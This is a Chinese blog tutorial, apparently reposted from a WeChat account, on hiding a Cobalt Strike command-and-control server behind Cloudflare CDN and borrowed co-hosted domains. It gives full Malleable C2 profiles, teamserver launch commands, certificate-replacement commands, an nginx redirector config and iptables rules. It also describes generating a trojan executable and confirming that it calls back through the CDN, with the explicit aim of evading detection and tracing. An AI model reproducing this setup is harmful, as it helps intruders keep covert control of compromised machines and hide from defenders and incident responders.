CDN和域名隐藏C2地址 | 干货
2023-12-8 22:39:51 Author: 渗透安全团队(查看原文) 阅读量:8 收藏

准备: 

服务器⼀台 

cdn运营商 

域名 

靶机上只会有跟cdn的ip通信的流量,不会有跟真实C2通信的流量,可以保护C2的ip 

第一步 利⽤cdn进⾏遮掩(配置cdn)n'g

第⼀步:⾸先,注册cloudflare.com,

cloudflare这是什么东西呢,它可以给你的网站添加CDN,CDN就是当不同地区的用户访问你网站时,就近访问最近的服务器获取数据。而且这个网站还是最快的DNS服务,关键它免费

添加站点 

选择免费的

当前页面显示的是cloudflare发现的现有解析记录数据

第二步:把DNS更新到cloudflare上

所以这里要注意去对比一下是否有缺少的解析记录(一般不会缺少)。

然后点继续。来到这里。出现了添加 Cloudflare 名称服务器

复制这个地址,我的域名是在godaddy.com买的,在godaddy这里找到更改域名服务器的选项

然后继续就行了,等待几分钟,如果成功了cloudflare里会收到一封邮件,回到cloudflare,选择名称服务器检查(其实收不到邮件也没事,只要前面步骤都对,等个十来分钟就可以继续下面的操作了)

后面就全部默认就行了

第三步:收到邮件提示dns修改完成,添加dns记录

,这里写上你的vps(cs服务端)的ip

第四步:多地ping,获取cdn节点服务器的ip地址

这里记住几个ip,下面用

第五步:隐藏前的准备,设置cs配置⽂件

CDN 申请完成后,就可以开始编辑 Cobalt Strike 要⽤到的 C2 Profile ⽂件了,直接使⽤开源项⽬ Malleable-C2-Profiles 中的 amazon.profile,但需要把其中的 Host 头改成我们⾃⼰在 CDN 中绑定的 域名 项⽬地址:

https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile

⽂件具体如下

## Amazon browsing traffic profile# # Author: @harmj0y#
set sleeptime "5000";set jitter "0";set maxdns "255";set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
http-get {
set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";
client {
header "Accept" "*/*"; header "Host" "";
metadata { base64; prepend "session-token="; prepend "skin=noskin;"; append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996"; header "Cookie"; } }
server {
header "Server" "Server"; header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT"; header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo="; header "X-Frame-Options" "SAMEORIGIN"; header "Content-Encoding" "gzip";
output { print; } }}
http-post {
set uri "/N4215/adj/amzn.us.sr.aps";
client {
header "Accept" "*/*"; header "Content-Type" "text/xml"; header "X-Requested-With" "XMLHttpRequest"; header "Host" "";
parameter "sz" "160x600"; parameter "oe" "oe=ISO-8859-1;";
id { parameter "sn"; }
parameter "s" "3717"; parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";
output { base64; print; } }
server {
header "Server" "Server"; header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT"; header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo="; header "X-Frame-Options" "SAMEORIGIN"; header "x-ua-compatible" "IE=edge";
output { print; } }}

把中间的⼏个host改了,毕竟⽊⻢时根据host转发流量和服务端交互,⾛的http 修改19⾏和53⾏的host,改成cdn绑定的域名,然后保存 az.profile

第六步:⽤配置⽂件启动cs服务端,然后上线cs

准备工作:

6.1

本机ping一下我的域名

6.2

ip反查域名,记下几个地址(可以选几个出名的域名,例如baidu这些)

我选的第一个

服务器直接启动cs服务器

./teamserver xxx.xxx.xxx.xxx password az.profile

然后打开客户端,设置监听器

1 HTTP Hosts里写刚才全球ping获得的ip,或者刚才ip发查到的域名

2 host(stager)同1,写别人的域名,举例0028510.com

3. Host Header 写你买的域名,端口80就行

然后设置

接着生成exe

选择刚才设置的监听器

上线测试

ok,ip变成了刚才设置的cdn ip,查了一下是国内ip,不是我服务端的ip,完成!

看一下域名是否暴露

 用Proxifier看一下马子的连接情况

黑色打马部分的域名是监听器那种图片里的1位置(HTTP Hosts)的地址,这里不是我的域名

另外一个域名是ip反查出来的

ok我们的c2服务端的域名和ip的隐藏了。

说一下原理

和昨天那篇云函数原理相同,同样是利⽤cdn进⾏了流量转发,这个地⽅我们要明⽩⼀个原理,就是流量⾛了http,在cdn 服务器那进⾏了⼀次转发,这个和host这个头属性有关,可以去百度⼀下host,所以只要我们的流量前 往了cdn服务器,⽆论是⽤什么⽅式,他就认这个,明⽩了这个原理,那么只要我们的流量前往了cdn解 析服务器即可。 

之前我们是⽤cdn服务器的ip进⾏这个操作,但其实,这些cdn服务器就相当于绑定了⼀个域名的服务器,利⽤关联了这个cdn服务器的域名,同样可以进⾏流量转发,从⽽利⽤他⼈的或者⾼信誉度的域名协助我们进⾏隐藏。 

我简化一下

 cdn转发 --> 我的vps

第⼀步,反查cdn服务器ip下的其他域名

⼤部分步骤和上⾯⼀样,⽽这⾥其实就是利⽤之前我们多地ping获得的cdn服务器ip反查域名,⼿段很 多,fofa啊什么的,这⾥就不多赘述了 获得域名后,开始设置监听器 由于证书检测必须要linux,所以我这个地⽅其实还是出了⼀些问题,没能成功使⽤https上线,证书⼀直 没有设置好,但是原理是⼀样的,这⾥直接⽤http上线也是⼀样的。

可以在上面的cs上线截图里看到,http上⾯使⽤的完全不是我的ip,也不是cdn的ip,⽽是同cdn节点下的域名,但是通过了 host转发我绑定的域名成功实现了shell回归,这样如果是https的话,就成功实现了域名隐藏,即使抓 包,看到的也是我们构造的域名通信(如果运⽓好有⾼信誉度域名就更好),如果此处使⽤了https那么 包也是隐藏了的。⽣成了监听器之后就是继续⽣成⽊⻢然后运⾏了,和之前的步骤是⼀样的,不多赘述。同样,我们可以查⼀下⽊⻢的通信情况,和cs上的shell回弹情况,就知道是否隐藏成功了。

现在我们配置好了http,但这是不够的

为什么呢,我们回到这张图片

然后看官们是否还记得启动cs服务端时用到了一个az.profile文件,在这里面也配置了一个host,这里记做为4,ok现在我来解释一下这四个host分别是干什么的

1.HTTP Hosts   这里只做域名解析,这里我写了别人的域名,但是因为它和麋鹿师傅的域名用了同CDN,所以流量会解析到做这台CDN转发的机器上

2.HTTP Host(stager)这个值应该和1写一样,1和2的区别对应分段传输和不分段

刚才不是说到1里解析到了复制CDN转发的机器上了嘛,而cdn就是通过3.HTTP header host的内容,将流量转发到我的vps,应当和profile一致,也是我的域名

而profile里的4.host是配置流量包里header的host,cdn是通过这个host将流量转发到我的域名,这里需要写我的域名

如果这里我们用http(明文传输),host这里肯定是要暴露的。

我用wireshark抓一下我的域名的流量

按理说肯定是有host是我的域名的流量,果然正如红框里看到我的域名,暴露了

而且1.如果对方有全流量设备,那一定会监测到http header host的,还是会暴露域名

2.如果使用http,中间人能监听

或者更清晰一点解释

这是上线的包

1是cdn下的他人域名,二是我的域名

流量里明显有我自己的域名(3处)

而且
当我们不配置profile文件时,上线cs的流量是这样的:

特征很明显,所以我们还能在配置文件这里下功夫

继续修改配置文件-证书

cs默认证书一共有三个:


cobaltstrike.storeproxy.storessl.store
cobaltstrike.store :用于服务端和客户端加密通讯proxy.store:用于浏览器代理也就是browserpivot功能ssl.store证书:如果没有配置https-certificate选项,并且使用的是https监听器那么Cs默认就会使用这个证书

我们先查看一下cs默认证书:keytool -list -v -keystore cobaltstrike.store

可以看到特征非常明显,而这些特征早就被各大安全厂商标记烂了

我们用nmap进行扫描,也能看到特征

因此,cs证书的替换对于隐匿起到了很大的作用。关于证书的生成,我们可以用keytool

Keytool是一个Java数据证书的管理工具,Keytool将密钥(key)和证书(certificates)存在一个称为keystore的文件中,即.store后缀文件中。

命令:

 -certreq            生成证书请求 -changealias        更改条目的别名 -delete             删除条目 -exportcert         导出证书 -genkeypair         生成密钥对 -genseckey          生成密钥 -gencert            根据证书请求生成证书 -importcert         导入证书或证书链 -importpass         导入口令 -importkeystore     从其他密钥库导入一个或所有条目 -keypasswd          更改条目的密钥口令 -list               列出密钥库中的条目 -printcert          打印证书内容 -printcertreq       打印证书请求的内容 -printcrl           打印 CRL 文件的内容 -storepasswd        更改密钥库的存储口令

使用 "keytool -command_name -help" 获取 command_name 的用法

继续打开我们的clouflare,SSL/TLS → 客户端证书 → 创建证书

将证书和私钥进行保存,例如:public.pem、private.pem

假设vps开启了nginx服务,我们将存在的证书存放在nginx配置目录下:/usr/local/nginx/cert

生成证书:

openssl pkcs12 -export -in /usr/local/nginx/cert/public.pem -inkey /usr/local/nginx/cert/private.pem -out abc123.com.p12 -name abc123.com -passout pass:123456keytool -importkeystore -deststorepass 123456 -destkeypass 123456-destkeystore abc123.com.store -srckeystore abc123.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias abc123.com

生成 p12 和 store 文件

我们将 abc123.com.store文件放入cs目录下,并且修改teamserver启动文件:将其替换成刚刚创建的 abc123.com.store

替换后接着扫描,得到结果如下:

还是刚才那个github的地址

https://github.com/rsmudge/Malleable-C2-Profiles

配置文件如下

https-certificate {    set keystore "abc123.com.store";  #证书名字    set password "123456";    #证书密码}#以上没有配置域名和证书的时候可以先不写
http-get { set uri "/milu_image/"; client { header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8"; # header "Host" "abc123.com"; #域名,还没有配置cloudflare的时候这一行注释掉 header "Referer" "http://www.google.com"; header "Pragma" "no-cache"; header "Cache-Control" "no-cache"; metadata { netbios; append ".jpg"; # 传输内容自动追加的后缀 uri-append; } }
server { header "Content-Type" "img/jpg"; header "Server" "Microsoft-IIS/6.0"; header "X-Powered-By" "ASP.NET"; output { base64; # 加密方式(base64、base64url、netbios、netbiosu) print; } }}
http-post { set uri "/milu_email/"; client { header "Content-Type" "application/octet-stream"; #header "Host" "abc123.com"; #域名,还没有配置cloudflare的时候这一行注释掉 header "Referer" "http://www.google.com"; header "Pragma" "no-cache"; header "Cache-Control" "no-cache"; id { netbiosu; append ".png"; uri-append; } output { base64; print; } } server { header "Content-Type" "img/jpg"; header "Server" "Microsoft-IIS/6.0"; header "X-Powered-By" "ASP.NET"; output { base64; print; } }}

cs启动

./teamserver ip 密码 abc123.com.profile

成功上线,外连ip都是不断变化的,且为cdn地址

另一个思路 nginx反向代理隐藏+cdn

当然,我们还可对nginx进行配置,增加反向代理的功能

通过nginx.conf 进行配置,可以对存在的user-agent头进行比对,或者限制访问路径,例如:milu_image/* milu_email/*

当满足上面条件时,才进行流量转发到真正上线端口,不然返回一个正常页面,这么做很有迷惑性

咱们这里监听443端口,进行流量转发(未进行多余设置,只是方便理解)

server {
#配置cs上线有关 set $C2_SERVER https://127.0.0.1:2083; # set $REDIRECT_DOMAIN https://baidu.com;
listen 443 ssl default_server; server_name abc123.com; #你的域名 ssl_certificate /usr/local/nginx/cert/public.pem; #公钥 ssl_certificate_key /usr/local/nginx/cert/private.pem; #私钥

#设置和cs上线 location / {
proxy_pass $C2_SERVER; # If you want to pass the C2 server's "Server" header through then uncomment this line # proxy_pass_header Server; # expires off; # proxy_redirect off; # proxy_set_header Host $host; # proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # proxy_set_header X-Real-IP $remote_addr; }
}

监听器配置如下:

abc123.com都是本人的域名

最后也是成功上线

当然有个问题,由于我们使用的是反向代理,cs显示的是localhost,如果想获取真正的外网ip,需要在nginx.conf 配置文件进行设置

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; #p配置nginx 转发源ip

最后,为了防止被溯源到端口,我们还可以对2083端口进行限制,只允许本地访问:

iptables -I INPUT -p TCP --dport 2083 -j DROP iptables -I INPUT -s 127.0.0.1 -p TCP --dport 2083 -j ACCEPT service iptables restart


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247512714&idx=1&sn=b12a497b5107769456e213dc1ee7e032&chksm=c1764f25f601c6330b6facfd60bf3a4962d41501610f71f22e3335fe64a6e10cba21b91182ed&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh